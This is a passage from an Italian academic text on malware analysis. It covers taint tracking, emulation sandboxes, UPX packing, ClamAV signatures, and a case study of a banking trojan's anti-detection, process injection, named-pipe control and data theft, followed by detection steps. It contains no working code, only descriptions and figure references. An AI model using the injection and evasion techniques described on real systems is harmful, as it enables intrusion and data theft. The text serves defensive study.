legittimo. La differenza tra questi grafci rappresenta il nucleo dannoso del malware.
Queste tecniche consentono all'analista di rilevare le istanze dannose di una

stessa famiglia di malware anche per i campioni sconosciuti. Xu et al. [2004] confronta
le tracce di chiamate di funzione di noti binari maligni a quelle di campioni scono-
sciuti al fne di rilevare variante polimorfche della stessa minaccia. Si applicano tec-
101
niche di allineamento di sequenza per il calcolo di analogie tra tracce di chiamata di
funzione.
9.2 Dettaglio Tracciamento Flusso di Informazioni
Dipendenze Dirette dei dati

Le Etichette taint sono semplicemente propagate per le assegnazioni dirette o
operazioni aritmetiche che dipendono da un valore grezzo. Le politiche devono def-
nire cosa succede se due etichette taint sono coinvolte nella stessa operazione. Vedi
l'operazione aritmetica di cui sopra (a = a + x) in Figura 10. Partiamo dal presupposto
che entrambi gli operandi siano marcati con etichette taint distinte. La politica di
propagazione deve defnire cosa dovrebbe succedere in un caso del genere. Possibili
scenari includono la scelta di un'etichetta rispetto all'altra, o la creazione di una nuo-
va etichetta che sia la combinazione delle due.
Figura 10: Esempio Dipendenze dirette 1
Figura 11: Esempio Dipendenze dirette 2
Utilizzo delle Dipendenze

Un sistema che implementa l'indirizzamento tainting propaga anche Etichette
taint per le operazioni di memoria in lettura o scrittura i cui indirizzi di destinazione
sono derivati da operandi (tainted). Traducendo un valore da un alfabeto all'altro,
per esempio, può essere effcacemente realizzato con l'uso di tabelle di conversione.
Tali tabella vengono utilizzate in ambienti Windows per tradurre i caratteri ASCII in
caratteri Unicode.
Durante il tracciamento delle dipendenze di indirizzo, l'obiettivo di un'operazione
diviene tainted se un valore tainted viene utilizzato come puntatore alla base di un ar-
ray, o come un indice in un array. Vedere Figura 11 per un esempio.
102
Controllo delle Dipendenze del fusso

Le dipendenze di dati diretti e le dipendenze di indirizzamento sono simili in
quanto la decisione di come si propaga la tainted label verso l'obiettivo di una istru-
zione può essere presa nell'ambito di una singola istruzione asm. Tracciare in modo
corretto l'informazione che si propaga in base alle decisioni del fusso di controllo, è
intricato. Il seguente frammento copia il valore di x per v (vedere Figura 12).
Figura 12: Esempio Dipendenze flusso
Un sistema dotato del tracciamento dei dati diretti e dell' indirizzo dipendente
(address-dipendency) mancherebbe di un tale fusso di informazioni senza che nes-
sun assegnamento (diretto o indiretto) avvenga tramite la variabile x tainted.
Per coprire questi casi , una possibile soluzione (conservativa) è quella di ese-
guire l'algoritmo in due fasi (di seguito indicate):
Ogni volta che un valore grezzo è coinvolto in una decisione del fusso di controllo,
(1) calcolare il punto di riconvergenza (vale a dire, la prima istruzione che è eseguita
indipendentemente da quale ramo viene eseguita) della istruzione di salto. (2) fno a
raggiungere il punto di riconvergenza, ogni obiettivo di un'assegnazione è infciato
indipendentemente dell'etichetta tainted degli operandi sorgente. Questo è implemen-
tato, per esempio, da Egele et al. [B-16] e Nair et al. [B-34].
Il fusso di informazioni implicite

Il seguente esempio sfrutta la relazione semantica tra le variabili a, b, e x in
modo da copiare il valore di x in v, eludendo così i meccanismi taint-tracking fnora
descritti.
Figura 13: Esempio Informazioni implicite
103
Il codice nella Figura 13 riporta le informazioni implicite che dopo l'esecuzione dell'i-
struzione if statment (linea 2), esattamente una delle variabili a e b è impostata su 1.
Ad esempio, se x contiene il valore 1, la linea 2 sarebbe settata a 1. Successivamente,
l'istruzione if nella riga 3 non potrebbe quindi eseguire il ramo then (in quanto a = 0).
Infne, v è assegnato il valore 1 nella linea 4. Il programma si comporta in modo si-
mile quando x è uguale a zero.
Sebbene in questo esempio la perdita è solo un bit di informazione, un soft-

ware maligno è in grado di eseguire il codice ripetutamente per nascondere quantità
arbitrarie di dati provenienti da sistemi dal sistema di tracciamento del fusso di in -
formazioni che tengono traccia dei dati, indirizzi, e delle dipendenze del controllo
del fusso. Al fne di monitorare correttamente il fusso di informazioni in tali casi
come da esempio, i valori di a e b hanno necessità di essere tainted alla linea 2. Ciò ri-
chiederebbe che un metodo simile fosse eseguito anche per controllare le dipendenze
del fusso. L' identifcazione di questo compito può essere realizzata sia analizzan-
do il frammento statico (ad esempio, Backes et al [B-2];. Nair et al. [B-34]), o in modo
dinamico forzando l'esecuzione a scendere di tutti i settori disponibili (per esempio,
(Moser et al. [B-33]).
Implementazione di sistemi di fusso di informazioni di monitoraggio

A seconda dell'applicazione analizzata, il tracciamento del fusso di dati può
essere effettuato su diversi livelli.
Per linguaggi interpretati (ad esempio, JavaScript, Perl, ecc) il codice può es-
sere aggiunto all'interprete o just-in-time (JIT) (ad esempio, Haldar et al [B-22]). In
questo modo, tutte le informazioni conteggiabili necessarie per l'esecuzione JIT (ad
esempio, il tipo di variabili, dimensione delle strutture) sono accessibili per l'am-
biente di tracciamento. In realtà, Perl ha un supporto incorporato per una modalità
taint [Perl Taint] che è abilitato non appena il gruppo- reale o user-IDS cambiano.
Questo serve all'interprete per evitare che una serie di falle di sicurezza siano sfrut-
tate. Per monitorare il fusso di informazioni a livello binario, la strumentazione di
solito è fatta in un ambiente dove c'è il pieno controllo del processo in analisi.
Un tale ambiente può essere basato su strumentazione binaria dinamica [B-

37], un emulatore completo del sistema (ad esempio, Chow et al [B-12]; Portokalidis
104
et al [B-40];.. Yin et al [B-56]) , o anche una implementazione hardware (Crandall e

Chong [B-13]).
Il valore e l'applicabilità delle informazioni del fusso di monitoraggio per l'a-

nalisi del malware è discusso da Cavallaro et al. [B-9]. I ricercatori fnora hanno dimo-
strato che i sistemi che eseguono data-, indirizzo-, indirizzano anche il fusso implici-
to delle informazioni (Kim et al. B-25]; Nanda et al. [B-35]).
Trishul come presentato nel Nair et al. [B-34] affronta anche l'informazione
implicita dei fussi. Tuttavia, questi sistemi non intendono essere utilizzati per l'anali-
si malware. Se le informazioni tecniche di fusso diventano prevalenti in strumenti di
analisi, ci si può aspettare che gli autori di malware attueranno meccanismi che cer-
cheranno di aggirare tali sistemi.
La fattibilità di sistemi che eseguono l'indirizzo o il puntatore tainting viene

valutata in Slowinska e Bos [B-47]. Le critiche ivi sollevate sono riferite ai sistemi in
cui le etichette taint si propagano senza limitazioni a livello fsico in un sistema emu-
lato senza sfruttare le informazioni di livello superiore, come ad esempio dei processi
o di libreria. Alcuni degli strumenti descritti nell' apposita sezione suggeriscono che
l'indirizzo tainting è fattibile in un ambiente che utilizza questo tipo di informazioni
per limitare la propagazione taint a quelle parti del sistema che sono ritenute rilevanti
per l'analisi.
9.3 Dettaglio Emulatore
Emulatore di Memoria e CPU

L' emulazione dei risultati delle CPU e della memoria in una sandbox permette
di eseguire codice potenzialmente dannoso, senza dover temere conseguenze negati-
ve sul sistema reale. Un binario viene eseguito in questa sandbox legge le sue istruzio-
ni in successione ed esegue operazioni equivalenti nell' ambiente emulato virtuale.
Tutti gli effetti collaterali che il binario produce sono contenuti nella sandbox.
Per emulare con successo i campioni che utilizzano servizi del sistema opera-
tivo o librerie condivise, anche questi meccanismi devono essere emulati. Mentre
esiste un progetto che implementa tale tecnica di emulazione (ad esempio, libemu [B-
3]), l' uso più importante di questa tecnica è utilizzata nei sistemi (motori) di prodotti
105
anti-virus moderni. Molte suite AV utilizzano CPU e l'emulazione della memoria per
superare gli ostacoli imposti da binari imballati o offuscati.
Per analizzare un binario forse impacchettato, questo viene eseguito in un

ambiente emulato. Se il motore AV rileva una sequenza di spacchettamento, le frme
vengono controllate sul contenuto della memoria non crittografata all'interno della
memoria emulata. Per un campione dannoso rilevare che è in esecuzione in un am-
biente emulato, deve eseguire un'operazione che richiede componenti che non sono
emulati dal sistema o lo sono in maniera insuffcientemente. Ad esempio, l'emulato-
re potrebbe comportarsi in modo diverso da una CPU reale nel caso di un errore
CPU (se questo errore non è considerato nell'emulazione).
Emulazione completa del sistema
Un emulatore completo del sistema (ad esempio, Bellard [B-6]) fornisce la

funzionalità di un vero e proprio sistema di computer, comprese tutte le periferiche
necessarie. Sono disponibili oltre alla CPU e memoria, dispositivi emulati, come le
schede di interfaccia di rete e memoria di massa. Questa confgurazione consente di
installare un sistema operativo comune off-theshelf nell'emulatore.
Il sistema operativo che viene eseguito in emulazione è indicato come guest,

mentre il computer che esegue l'emulatore stesso è chiamato host. Un emulatore per-
mette che le architetture host e guest siano diverse. Così, con l'aiuto di un emulatore,
è possibile, per esempio, analizzare software compilato per l'insieme di Istruzioni
ARM impostato su un computer desktop x86.
Implementare la componente di analisi come parte dell'emulatore consente di

eseguire l'analisi in modo nascosto, e offre la possibilità di monitorare il sistema ope-
rativo guest e tutte le applicazioni eseguite all'interno. Poiché l'emulatore, e quindi il
componente di analisi in questo modo, ha pieno controllo di ciò che il sistema opera-
tivo guest percepisce come suo ambiente, è possibile per il componente di analisi ri -
manere inosservato. Un campione di malware può comunque rilevare effetti collatera-
li della emulazione o caratteristiche dell'ambiente di analisi e cessare di lavorare in
questi casi.
Ad esempio, la rilevazione di un'emulazione imperfetta del comportamento

della CPU permette ad un campione di malware di riconoscere che è in esecuzione su
un emulatore. Confrontare proprietà del sistema, come ad esempio l'utente connes-
106
so in quel determinato momento, per conoscere valori noti puo' permettere ad un'i -
stanza di malware di rilevare uno specifco strumento di analisi.
Eseguire l' analisi richiede tempo con un conseguente ritardo o rallentamento

del sistema operativo guest. Questo può aprire un altro possibile canali di rilevamento
per i campioni dannosi. Insieme con il vantaggio di avere il pieno controllo dell'am-
biente introdotto dall'uso di un emulatore si incontra l'inconveniente del gap semanti-
co. Un sistema di analisi implementato in un emulatore ha pieno accesso al sistema
emulato a livello fsico. Le informazioni desiderate sono comunque costituite da con-
cetti astratti di livello superiore del sistema operativo guest (ad esempio, le chiamate
di sistema, handle di fle, ecc.) . Così, per accedere a queste informazioni, lo strumento
di analisi deve dedurre le informazioni di alto livello dalle informazioni di sistema
prima interpretando lo stato della CPU e della memoria con contenuti simili al siste-
ma operativo guest.
Un requisito comune per i sistemi di analisi che operano tramite l' emulazione
di sistema è che l'analisi possa essere limitata ad un unico processo (cioè, il campione
in analisi), e quindi omettono le altre componenti del sistema da analizzare. Qui, il
gap semantico si manifesta attraverso l'osservazione che a livello hardware, non esi-
ste il concetto di processo. Tuttavia, su architetture x86, il registro basato sulla tabella
delle pagine (CR3) è unico per ogni processo.
Figura 14: Uso tipico di CR3 traduzione indirizzi in pagine 4 KiB
Così, controllando le API che creano nuovi processi, un sistema di analisi può correla-
re il campione analizzato con un dato valore del registro CR3. Monitorare le API in
un tale sistema può essere realizzato confrontando il valore del puntatore di istruzio-
ni ai noti punti di ingresso delle funzioni nelle librerie dinamiche che forniscono le
API.
107
Bisogna fare attenzione affnchè il caricatore (loader) del sistema operativo
guest possa mappare una libreria a un indirizzo di base diverso (quello preferito.)
Pertanto, questa lista deve essere mantenuta in modo dinamico. Conoscendo il valo-
re del registro CR3 che corrisponde al processo in esame, è banale per produrre una
traccia di istruzioni per questo processo. In breve, ogni istruzione che viene eseguita
mentre il registro CR3 contiene questo valore è parte del programma analizzato.
Per abbassare l'impatto del gap semantico, esistono tecniche miste che ese-
guono l'analisi nell'emulatore e raccolgono informazioni di livello superiore (ad
esempio, l'elenco dei moduli caricati, ecc) con l'aiuto di un componente aggiuntivo in
esecuzione nel sistema guest [ B-5].
9.4 Dettaglio Ripristino Ambiente di Analisi
Soluzione software.
Il metodo software consiste nel prendere un'immagine del disco rigido conte-
nente l'immagine di base con l'ambiente di analisi. Dopo l'esecuzione di ogni
analisi , questa immagine viene ripristinata da un sistema operativo di pulizia anti-
manomissione 'tamper-proof clean-operating', ad esempio un CD live di Linux.
Istantanee Macchina Virtuale

La maggior parte delle VMM (ed emulatori di sistema completi) (istantanee
VMWare; [B-28]) forniscono meccanismi per scattare istantanee dello stato di una
macchina virtuale (contenuti ad esempio, di archiviazione di massa virtuale, CPU e
memoria). Tali sistemi si basano su fle regolari come deposito per i dati di sovrappo-
sizione (overlay). VMM e emulatori di sistema completi comunemente supportano la
presa e il caricamento di istantanee di un sistema in esecuzione. Questo meccanismo
può essere usato per ridurre il tempo necessario per analizzare un campione, poiché
non è necessario riavviare e ricreare un'istanza pulita del ambiente di analisi.
Supporto hardware per le istantanee

Simile alle istantanee delle VMM, esistono soluzioni hardware che reindiriz-
zano tutte le modifche dirette ad una immagine base in un'altra unità fsica o area di
lavoro designata [17](Juzt-Reboot Tecnology). Ancora una volta, il ripristino del si-
stema si ottiene omettendo la sovrapposizione overlays per accessi in lettura. Tutta-
108
via, poiché improvvise modifche al fle system sottostante sono inaspettate per il siste-
ma operativo guest, tali tecniche richiedono che il sistema venga riavviato tra le esecu-
zioni di analisi.
109
10 Esempi – Casi di Studio
10.1 virus_c.c (commentato)
I
Figura 15: codice virus_c .
L'esecuzione crea la chiave sul registro:
HKEY_CURRENT_USER\Software\retro
nome=prova_virus
tipo=RG_SZ
valore=prova_infe
Figura 16: La chiave di registro creata dopo l'esecuzione di virus_c.
§ Paragrafo n.2.2.1
II
10.2 Worm Lion
L'worm Lion in azione [8]
Figura 17: Il nome cinese di worm lion.
Figura 18: I componenti di worm lion - tcp connect portscanner, il bind exploit, e alcuni scripts che
legano i componenti e indirizzano l' worm.
Figura 19: Il diagramma dei processi attivati da worm lion.
10.3 Trojan, worm e bot
III
I trojan [29] non si diffondono autonomamente quindi richiedono un interven-
to diretto dell'aggressore per far giungere l'eseguibile maligno alla vittima, un esegui-
bile che si intalla creando se previsto un'infezione di tipo bot. In molti casi agiscono
insieme: un worm viene iniettato in rete con l'intento di installare dei trojan sui sistemi
ed arrivare alla creazione di un bot. Spesso è la vittima stessa che, involontariamente,
non prestando attenzione ai siti che sta visitando, ricerca e scarica, un trojan sul pro-
prio computer, dato che i cracker amano inserire queste "trappole" ad esempio nei vi-
deogiochi piratati, che in genere sono molto richiesti. Sono in genere riconosciuti da
un antivirus aggiornato come tutti i malware. Se il trojan in questione non è ancora sta-
to scoperto dalle software house degli antivirus, è possibile che esso venga rilevato,
con la scansione euristica, come probabile malware.
Già nel 1987 venne documentata [30] la progressiva diffusione negli Stati Uniti
di codice maligno di tipo trojan nelle BBS (Bullettin Board System). In era pre-Internet
il contagio si diffondeva attraverso il caricamento e lo scaricamento di programmi
infetti dalle BBS alle quali ci si collegava tramite modem. Il codice maligno celato nei
programmi scaricati in genere provocava la cancellazione dei dati locali dai dischi
dell'utente, talvolta con una formattazione del disco a basso livello.
10.4 Packer
I packers sono fondamentalmente un modo per crittografare il contenuto di un
fle. Sono spesso utilizzati dai malware writer sui loro campioni di malware per tentare
di evitare i controlli ed inoltre per rendere i campioni più piccoli.
10.4.1 La procedura di impacchettamento di un esecutivo
E' stato utilizzato il programma UPX per cifrare un esecutivo (virus_c.exe) su

Macchina Virtuale con sistema operativo win 7:
IV
Figura 20: La directory contenente UpX.exe ed il file virus_c.exe
Invio del comando per realizzare il fle packed:
Figura 21: Invio del comando upx
Dopo l'applicazione del software ecco come appare il fle packed , appare come
l'esecutivo di prima ma di dimensioni inferiori da 30618 a 23450 Byte:
V
Figura 22: Il file packed virus_c.exe
Figura 23: Applicazione di Peid su esecutivo non packed
§ Paragrafo n.3.3.6.1
VI
Figura 24: Applicazione di Peid su esecutivo packed con Upx
10.5 Esempio : come classificare e firmare un file con ClamAV [B-69]
ClamAV è un antivirus open-source realizzato da Sourcefre. E' molto fessibi-

le ed offre varie funzionalità per verifcare fles, esecutivi packed e permette di scrivere
frme e creare database di frme. Per questo esempio è stato installato su una macchi-
na virtuale REMnux.
Figura 25: Macchina Virtuale con Sistema Operativo REMnux
Esecuzione da shell del comando per applicare lo strumento AV ClamAV sul

fle di esempio e creare una stringa da utilizzare come frma.
VII
Figura 26: Applicazione comando clamscan
Risultato della scansione: individuazione del fle come infetto dopo la compa-
razione con la libreria di ClamAV.
VIII
Figura 27: Risultato del comando clamscan
$ grep “Vgen.2245” *
daily.ndb:Vgen.2245:2:*:2a2a536574204f75722056616c75657320616e642050\
617468732a2a??00002a2a416464204e657720576f726b626f6f6b\
2c20496e666563742049742c205361766520497420417320426f6f\
6b312e
se si converte la firma esadecimale in ASCII si può ottenere un testo simile a questo:
**Set Our Values and Paths**???**Add New Workbook, Infect It, Save It As Book1.
§ Paragrafo n.3
10.6 Schema di attacco di una Botnet
Analisi tratta da Malware Case Study By Secure Science Corporation (2006) , realizzata dai membri di
Mal-Aware Group1. L'intero documento è reperibile sul sito di Michael Ligh [51].
Nel documento citato sono descritti i dettagli del caso di studio relativo all'esplorazione del
comportamento di un malware su sistema operativo windows (il comportamento è quello che viene ese -
guito per creare un bot ed aggregarlo ad una botnet). Il trojan studiato era mantenuto su web servers si-
tuati in Ukraine e Russia. Esistono parecchi gigabytes di dati codifcati dall' algoritmo utilizzato dal
malware. Sono stati individuati circa 10,000 fle disponibili, ognuno contenente tra i 70 bytes e 56 mega -
bytes di dati rubati ed utilizzati da criminali .
IX
Figura 28: Panorama del comportamento di un Bot nel sistema
Il diagramma mostra un panorama dell'ordine di esecuzione, la direzione, e lo scopo dei fles

primari che questo trojan , quando viene eseguito su un sistema, riesce a diffondere. Il primo thread
che esegue al di fuori di prg.exe (nome originale del trojan originale, ma può variare) è iniettato in winlo-
gon.exe. Da qui, vengono creati due thread aggiuntivi: uno per lanciare un server pipe incaricato delle
comunicazioni con altri thread, e uno per eseguire all'interno svchost.exe. Il processo svchost.exe è di
gran lunga il più laborioso, effettua per primo l'iniezione di un thread in tutti gli altri processi attivi sul
sistema (* con le eccezioni, vedi Mass Process Infection), e poi avvia tre threads su Internet per il down -
load di nuovi Trojan, il caricamento del furto dati a un sito , e l'invio di statistiche di attività.
10.6.1 Routine Anti-rilevamento Pre-infezione
La maggior parte degli autori di malware in genere cerca di renderlo il più nascosto possibile.
Se è facilmente rilevabile, allora non riuscirà a raggiungere i suoi obiettivi, o almeno non raggiungerà
quegli obiettivi nei modi desiderati o previsti. Questo codice mostra un tentativo di eludere il rileva-
mento basato sulla frma e un tentativo di evitare i servizi di protezione in esecuzione sul sistema.
La funzione principale del trojan inizia risolvendo la funzione di importazione ed inizializza-

zione delle variabili globali. Poi cerca di ottenere un handle per un mutex e se questo fallisce, allora il
programma termina. Questo per garantire che due istanze dello stesso trojan non vengano eseguite si-
multaneamente. Nel caso che il mutex sia disponibile, il controllo successivo è quello di scorrere una
matrice globale di nomi di processo per determinare se sono attivi sul sistema.
Nel frattempo, il trojan scrive una copia di se stesso nella directory di sistema come ntos.exe e
confgura il Registro di sistema per eseguirlo allo start-up. Poi, torna indietro per verifcare se uno dei
processi in questione è in esecuzione. Se è così, salta l'iniezione del thread in winlogon.exe e semplice-
mente termina. Anche se può sembrare sottile, questa è in realtà una decisione piuttosto intelligente del-
X
l'autore del malware. Mentre trojan aggressivi avrebbero cercato di terminare i servizi di protezione con
il rischio di produrre un segnale di rilevamento visivo (ad esempio scomparire l'icona nella barra delle
applicazioni), questo trojan termina solo passivamente.
Figura 29: Routine Anti-rilevamento
Tuttavia, termina solo dopo aver scritto sul disco ed aggiunto se stesso come voce nella chiave
userinit del Registro di sistema, chiave che si attiverà con winlogon.exe durante il successivo riavvio. Dal
momento che questo probabilmente accadrà prima che qualsiasi altro processo bersaglio abbia iniziato,
il trojan avrà quindi il vantaggio di essere in esecuzione prima di qualsiasi servizio di protezione.
Il fatto interessante dietro questa tecnica è che la matrice globale contiene solo un processo - ".
Outpost.exe" Ciò corrisponde a Outpost Firewall Pro, che ha una presunta protezione integrata a 360
gradi da spyware e auto-protezione da malware Software. Per qualche ragione, l'autore del malware ha
paura di Outpost e nessun altro. Oppure ha semplicemente dimenticato di riempire l'array con i nomi di
altri prodotti. Questo è evidente perché la funzione IsProcessActive () itera attraverso una matrice. Non
vi è alcun motivo per programmare una matrice e un ciclo di iterazione nel trojan se la matrice è stata
pensata per contenere solo un elemento.
È anche possibile che Outpost.exe sia il nome di un altro trojan che questi stessi autori hanno
codifcato e distribuito. Possono avere nascosto il fatto di fondersi con sistemi che eseguono il vero pro -
cesso di Outpost.
In questo caso, gli autori possono avere evitato Outpost.exe perché non vogliono eseguire entrambe le
copie del loro malware sullo stesso sistema. Quando questo trojan si registra nella directory di sistema
come ntos.exe come accennato prima, non fa un duplicato esatto. Invece, utilizza CopyFile () per produr-
re ntos.exe, poi apre ntos.exe e imposta il puntatore del fle fno alla fne. Successivamente, calcola un nu -
mero pseudo-casuale usando GetTickCount () come seme per generare un numero di byte psudo-ran-
dom . Il buffer risultante viene pulito alla fne di ntos.exe. Questa sezione dati non viene più riferita,
quindi non è qui per nascondere le informazioni. E' probabile che sia qui per impedire il rilevamento da
qualsiasi servizio che viene identifcato sulla base di codice dannoso sull' hash del fle. Il codice seguente
XI
mostra la funzione che genera questi valori pseudo-casuali insieme a frammenti di codice da main () che
mostrano come vengono utilizzati i valori risultanti.
Figura 30: Funzione che genera numeri pseudo-casuali
10.6.2 Procedura per invocare Threads Remoti
Ci sono diversi modi in cui un processo può invocare un thread dall'interno di un altro proces -
so. Tra i più comuni esiste forzare un processo alla chiamata LoadLibrary () in una DLL specifcata, invo -
cando quindi la routine DllMain () di libreria, e utilizzando la funzione API CreateRemoteThread (). In
entrambi i casi, il requisito è che il codice esista all'interno dello spazio di memoria virtuale del processo
remoto 'prima che il thread inizi'.
Questo trojan in particolare richiama un thread dalla propria base di codice all'interno di un
processo remoto prima di creare l' intera immagine in una spazio sull'heap 2 del processo remoto ; e
quindi chiama CreateRemoteThread () specifcando l'indirizzo della sub routine desiderata. Durante l'e-
secuzione della funzione main () del trojan, una variabile globale viene inizializzata con un puntatore all'
indirizzo di base del trojan (il membro ImageBase da IMAGE_OPTIONAL_HEADER32 dalla struttura di
PE). Questo valore viene utilizzato per individuare SizeOfImage, che indica la dimensione complessiva
del PE in memoria, comprese tutte le sezioni e allineamento. Questo è il numero di byte che il trojan cer -
ca di scrivere nell'heap di un processo remoto, in modo che possa copiare se stesso completamente.
Un aspetto interessante di questa routine è che il trojan *richiede* che l'indirizzo di base della
sua immagine sia disponibile nel processo remoto. Quando il trojan chiama VirtualAllocEx () per il pro -
cesso a distanza, specifca il proprio indirizzo di base come l'indirizzo di partenza desiderato per la re-
gione di pagine da assegnare. Se questa regione è già stata prenotato (o assegnata), allora la funzione fal -
lisce e CreateRemoteThread () non viene mai chiamata. **Ciò indica che l'autore del malware era o trop -
po pigro o non sapeva come creare una nuova base (rebase) per l'immagine in una regione di memoria
remota del processo** .
Tuttavia l'autore sapeva come creare una base per l' immagine del trojan, perché il valore ImageBase è
0x14D00000 al posto del 0x00400000 standard. La ragione ovvia per fare il rebasing dell'immagine è per
evitare confitti con altri moduli caricati dal processo remoto che utilizzano l'indirizzo standard.
2
La memoria è allocata all'interno di un grande blocco di memoria inutilizzata chiamato heap . La dimensione della memoria
da allocare può essere determinata a runtime e la durata di vita dell'allocazione stessa non dipende dalla procedura o dallo
stack frame correnti. Si accede per via indiretta alla regione di memoria allocata, in genere attraverso un riferimento .
XII
Questa è la routine utilizzata per infettare winlogon.exe da prg.exe; e come winlogon.exe infetta
svchost.exe; e come svchost.exe infetta tutti gli altri processi.
[**E' strano il giudizio degli autori dell'analisi in merito al rebasing dell'immagine del trojan in quanto gli
autori di Microsoft dicono che come conseguenza del rebasing , l'esecuzione è meno effciente, perde la
disponibilità di tutte le DLL e consuma più CPU – tutti aspetti che gli autori di malware cercano di evi -
tare** ]
10.6.3 Comunicazione con Named Pipe
Come descritto in precedenza, una volta che il codice trojan è in esecuzione all'interno di winlo-
gon.exe, viene lanciato un pipe server preposto a gestire la comunicazione tra i vari altri thread. Il ser-
ver named pipe è essenzialmente un'istruzione switch (), che accetta un intero compreso tra 1 e 13 come
l'azione del codice, ed esegue l'azione corrispondente. Analizzando il codice delle chiamate di funzione
che inviano i dati sulla named pipe, e ancora di più, analizzando il codice all'interno di ogni singolo caso
dell'istruzione switch, si possono generare costanti signifcative sulla base ai codici di azione del pipe.
Figura 31: Costanti Pipe
Lo scopo di questo server pipe è quello di mantenere il controllo su specifche risorse di sistema
e rispondere alle chiamate più comuni che altri thread possono richiedere. Si consideri uno scenario di
esempio. Come mostrato nel diagramma, funzioni API in ogni processo nel sistema sono agganciate con
l'intenzione di esaminare i dati contenuti in un buffer di richiesta HTTP, e scrivendo una versione codif-
cata di tali dati a un fle su disco se soddisfa determinati criteri. Il fle che riceve questi dati non è arbitra-
rio o casuale, è audio.dll e si trova nella directory system32 \ wsnpoem.
Ciò signifca che se due o più processi sul sistema hanno tentato di inviare una richiesta HTTP
allo stesso punto nel tempo, potrebbero fnire per competere per l'accesso in scrittura su audio.dll. Una
soluzione ragionevole potrebbe essere quella di creare un mutex per gestire la scrittura sul fle; e richie-
dere che tutti i threads attendano il mutex prima di tentare di aprire il fle per la scrittura. Tuttavia, se un
altro processo nel sistema cercasse di eludere tale attesa, e il fle sharing fosse stato confgurato in modo
non corretto, tutto ciò che avrebbe bisogno di fare è semplicemente fallire sul l mutex prima di tentare di
acquisire un handle di scrittura. In questo caso divine evidente il benefcio del pipe server.
Quando il thread inizale del trojan va in esecuzione da dentro winlogon.exe, ottiene un handle
per audio.dll e specifca * no * fle sharing. Questo impedisce che qualsiasi altro processo sul sistema ac -
ceda al fle fno a quando l'handle di winlogon.exe non viene chiuso. In effetti, questo impedisce anche a
XIII
tutti i programmi di monitoraggio ed analisi leggano i contenuti del fle, fno alla chiusura dell'handle
dall'interno winlogon.exe; o se aggirare l'API di Windows con i driver appositi. Se tentano uno di questi
metodi, si verifcherà una violazione di condivisione (fle sharing).
Quindi, se in teoria nessun processo può ottenere un handle di lettura per audio.dll, tanto
meno potrà scrivervi, come fanno tutti i processi di sistema 'trojanized ' ad usarlo per memorizzare i dati
rubati?
Semplicemente inviando un messaggio PIPE_REQUEST_AUDIO_RELEASE al server pipe, che sappia-
mo già eseguito dall'interno winlogin.exe. Ciò richiede a winlogon.exe di chiudere l'handle al fle au-
dio.dll per il breve periodo di tempo necessario per il processo client di scrivere le informazioni sul fle.
Una volta completato, il client invia un messaggio PIPE_REQUEST_AUDIO_OBTAIN al server pipe, in
questo modo è sicuro di riottenere un handle esclusivo a audio.dll.
10.6.3.1 Mass Process Infection

Il thread numero 4 , come da fgura, mostra come svchost.exe infetti tutti gli altri processi.
Come indicato nella descrizione del diagramma, ci sono alcune eccezioni. Due di queste eccezioni sono il
processo originale trojan (prg.exe, o come è chiamato) e l'istanza di svchost.exe che esegue il thread. Un
sistema di norma ha più copie di svchost.exe in esecuzione contemporaneamente. Basato sul metodo di
selezione del trojan, sarà inizialmente infettato quello con il pid più basso (quello in esecuzione come NT
AUTHORITY \ SYSTEM).
Il motivo per cui questi due processi vengono saltati durante la fase di infezione di massa dei
processi è perché hanno già il codice a 0x14D00000; e sappiamo che il trojan non è in grado di ricollocare
la base della sua immagine in un processo remoto. Le altre due eccezioni sono il processo sytem idle(che
viene eseguito quando non ci sono altri processi da eseguire nella CPU) con un pid pari a 0, e qualsiasi
processo denominato "csrss.exe".
Il processo system idle non è un processo reale, quindi non è un obiettivo per infezione. Csrss.exe è l'uni-
co processo nel sistema che ha il bit "processo critico" impostato nel campo fag della sua struttura di
processo (EPROCESS) . Se questo processo è terminato, il sistema si blocca con una schermata blu CRITI-
CAL_PROCESS_DIED. Questo programma è saltato per problemi di accessibilità e per i problemi di sta-
bilità del sistema.
È interessante notare che il codice che verifca i nomi dei processi, non controlla i percorsi di directory, in
modo che salterà l'infezione di qualsiasi processo di nome csrss.exe.
In generale, il ciclo di infezione di massa dei processi è molto semplice (sic). E 'comune per il malware
ottenere solo un elenco dei processi in esecuzione chiamando CreateToolhelp32Snapshot () e poi ciclare
attraverso le strutture PROCESSENTRY32 con Process32First () e Process32Next ().
Come mostrato di seguito, se non si incontra un'eccezione, il processo è aperto con, tra gli altri, i permes-
si VM_WRITE, VM_OPERATION, e le autorizzazioni CREATE_THREAD; e l'handle ottenuto viene pas-
sato al ManageInvasion ().
XIV
Figura 32: Gestione dei Processi
Nel documento originale segue l'analisi con i seguenti paragraf:

Le strutture interne per API Hooks
La riscrittura degli indirizzi di funzione
Rubare i dati da HTTP Request Buffers
Come decodificare e analizzare i dati rubati ed inviati sul sito
Aggiornamento e Download
Il Thread che effettua l'Upload dei dati
Il Thread che effettua Attività Statistica
Firme Bleeding-Edge NIDS
10.6.3.2 Come Scoprire e Rimuovere il Trojan

Ci sono diversi modi da utilizzare per verifcare se un sistema è stato infettato da questo mal-
ware. Le modifche apportate al fle system sono:
Figura 33: Modifiche sul sistema
La presenza del Trojan su un sistema può essere rilevato anche esaminando altre aree di memo-
XV
ria oltre i dati del disco e del Registro di sistema rigido. La tabella seguente include i dettagli su come in-
dividuare il trojan mediante la scansione di memoria o valutare l'accessibilità di determinati oggetti.
Figura 34: Scansione memoria
Utilizzare un programma specifco per la ricerca e valutazione non invasiva degli elementi elen-
cati nelle tabelle precedenti e segnalazione della loro esistenza [52] [53].
Se durante la scansione del fle system, mutex, e del registro, il programma rileva indicazioni
di infezione, si sposterà in avanti nel check della memoria. Il processo di controllo della memoria esegue
la scansione dei contenuti in 0x14D00000 dei processi di sistema infettati, a condizione che il range sia
leggibile. Il codice controllerà se un PE risiede nella regione e in caso affermativo, decodifcherà i dati
corrispondenti all'URL del sito trovato nell' header di MS-DOS. Se il contenuto decodifcato corrisponde
a "http", allora il processo è infetto. Questa non è una frma byte-string, è piuttosto una frma dinamica
basata su questa caratteristica. Questo metodo di rilevamento è in grado di identifcare con successo tutte
le versioni del trojan disponibili per l'analisi.
Figura 35: Rilevamento URL
XVI
Il programma di rilevamento non tenta di pulire il sistema. Non tenterà di chiudere l'handle per
ntos.exe dall'interno di winlogon.exe. Inoltre, non tenterà di liberare la regione heap all'interno dei pro-
cessi infettati dove è scritta l'immagine del trojan . Se questo viene fatto prima della terminazione di
qualsiasi thread attivo potrebbero verifcarsi seri problemi di stabilità. Inoltre, anche se tutti i threads
